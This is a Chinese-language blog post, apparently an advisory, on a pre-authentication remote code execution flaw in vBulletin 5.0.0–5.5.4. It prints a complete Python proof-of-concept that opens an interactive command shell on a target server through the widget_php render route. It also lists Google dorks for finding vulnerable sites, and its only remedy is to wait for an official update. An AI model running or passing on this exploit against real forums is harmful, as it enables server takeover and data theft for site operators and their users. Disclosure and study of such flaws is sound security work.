0x01漏洞概述

vBulletin 是美国 Internet Brands 和 vBulletin Solutions 公司共同开发的一款开源的商业Web论坛程序。

一位匿名安全研究人员在受欢迎的论坛软件 vBulletin 中发现未修补的 0day 并披露了相关 PoC。根据对已发布代码的分析,该 0day 允许攻击者在运行 vBulletin 实例的服务器上执行 Shell 命令而无需具有目标论坛的账户。也就是说这是一个“预身份验证的远程代码执行”漏洞,是能够对 web 平台造成最严重影响的安全缺陷类型之一。

尽管 vBulletin 是一款商用产品,但它仍然是最热门的web论坛软件包,其市场份额要大于多种开源的解决方案如 phpBB、XenForo、Simple Machines Forum、MyBB等。由于 vBulletin 被超过10 万个在线网站所使用,因此该漏洞的潜在影响范围极大。

0x02影响版本

vBulletin 5.0.0~5.5.4

0x03漏洞验证

POC:

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

0x04修复建议

坐等官方更新。

最后修改:2021 年 03 月 09 日
如果觉得我的文章对你有用,请随意赞赏